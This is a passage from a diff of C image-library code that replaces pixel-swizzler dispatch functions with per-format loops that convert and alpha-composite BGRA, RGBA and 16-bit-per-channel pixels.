++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgr_565( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__copy_2_2; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__bgr__bgr_565; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | ++ ((uint64_t)(s[0]) * 0x0000010101010101); ++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__bgrw__bgr_565; ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__rgb__bgr_565; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | ++ ((uint64_t)(s[0]) * 0x0000010101010101); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__rgbw__bgr_565; ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgr(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__bgr; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__copy_3_3; ++// -------- + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__bgrw__bgr; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__swap_rgb_bgr; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__bgrw__rgb; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; +- } +- return NULL; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_8_8; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over; +- } +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_premul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; +- } +- return NULL; ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; +- } +- return NULL; +- } +- return NULL; +-} ++ // TODO: unroll. + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgrx(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__bgrx; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__xxx__xxxx; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- return wuffs_base__pixel_swizzler__bgrw__bgrx; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__copy_4_4; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__bgr__rgbx; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case 